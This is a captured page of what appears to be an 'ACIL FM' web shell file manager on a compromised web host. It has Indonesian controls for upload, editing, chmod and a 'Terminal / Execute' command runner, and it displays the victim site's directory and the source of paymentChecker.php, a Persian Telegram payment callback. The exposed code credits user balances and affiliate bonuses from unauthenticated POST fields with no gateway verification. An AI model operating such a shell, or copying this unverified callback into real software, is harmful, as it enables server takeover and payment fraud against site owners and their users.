ACIL FM
Dark
Refresh
Current DIR:
/home/fastexsh/public_html/exchange/services
/
home
fastexsh
public_html
exchange
services
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
api_1.php
3.71 MB
chmod
View
DL
Edit
Rename
Delete
api_2.php
2.08 MB
chmod
View
DL
Edit
Rename
Delete
auth.php
7.44 MB
chmod
View
DL
Edit
Rename
Delete
callback.php
4.95 MB
chmod
View
DL
Edit
Rename
Delete
callbackAmount.php
1.53 MB
chmod
View
DL
Edit
Rename
Delete
forward_to_all.php
1022 B
chmod
View
DL
Edit
Rename
Delete
paymentChecker.php
2.83 MB
chmod
View
DL
Edit
Rename
Delete
send_to_all.php
957 B
chmod
View
DL
Edit
Rename
Delete
sms.php
1.61 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/fastexsh/public_html/exchange/services/paymentChecker.php
<?php include '../config/config.php'; include '../classes/telegram.php'; include '../database/connector.php'; include '../libs/jdf.php'; $bot = new TelegramBot($bot_token); $transactionId = $_POST['transid'] ?? ''; $cardNumber = $_POST['cardnumber'] ?? '---'; $status = $_POST['status'] ?? '0'; // بررسی اولیه if (empty($transactionId)) { http_response_code(400); exit('شناسه تراکنش نامعتبر است.'); } // دریافت اطلاعات تراکنش $stmt = $db->prepare("SELECT * FROM transactions WHERE track_id = ?"); $stmt->execute([$transactionId]); $transaction = $stmt->fetch(PDO::FETCH_OBJ); if (!$transaction) { http_response_code(404); exit('تراکنش یافت نشد.'); } if ($status === '1') { $bot->sendMessage( $transaction->chat_id, "✅ تراکنش شارژ حساب به مبلغ *{$transaction->amount}* تومان موفقیتآمیز بود." ); $stmt = $db->prepare("UPDATE users SET balance = balance + ? WHERE chat_id = ?"); $stmt->execute([$transaction->amount, $transaction->chat_id]); $stmt = $db->prepare("UPDATE transactions SET status = 1, card = ?, updated_at = NOW() WHERE track_id = ?"); $stmt->execute([$cardNumber, $transactionId]); $stmt = $db->prepare("SELECT value_ FROM settings WHERE key_ = ?"); $stmt->execute(['pay_gateway_channel']); $channel = $stmt->fetchColumn() ?: 0; $log = "💳 کاربر با شناسه *{$transaction->chat_id}* حساب خود را به مبلغ *{$transaction->amount} تومان* شارژ کرد.\n"; $log .= "🔑 کد رهگیری: *$transactionId*\n"; $log .= "⏰ زمان: " . jdate("Y/m/d - H:i:s") . "\n\n"; $log .= "لطفاً جهت پیگیریهای بعدی، این اطلاعات را نگه دارید."; $bot->sendMessage($channel, $log); $stmt = $db->prepare("SELECT parent_id FROM affiliates WHERE user_id = ?"); $stmt->execute([$transaction->chat_id]); $affiliate = $stmt->fetch(PDO::FETCH_OBJ); if (!empty($affiliate->parent_id)) { $stmt = $db->prepare("SELECT value_ FROM settings WHERE key_ = ?"); $stmt->execute(['bonus_percent']); $percent = floatval($stmt->fetchColumn()) ?: 0; $bonus = $transaction->amount * ($percent / 100); $stmt = $db->prepare("UPDATE users SET balance = balance + ? WHERE chat_id = ?"); $stmt->execute([$bonus, $affiliate->parent_id]); $bot->sendMessage( $affiliate->parent_id, "مبلغ $bonus تومان بهعنوان هدیهی شارژ حساب زیرمجموعه به حساب شما افزوده شد." ); } } if ($status === '0') { $bot->sendMessage($transaction->chat_id, "❌ تراکنش ناموفق بود."); }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply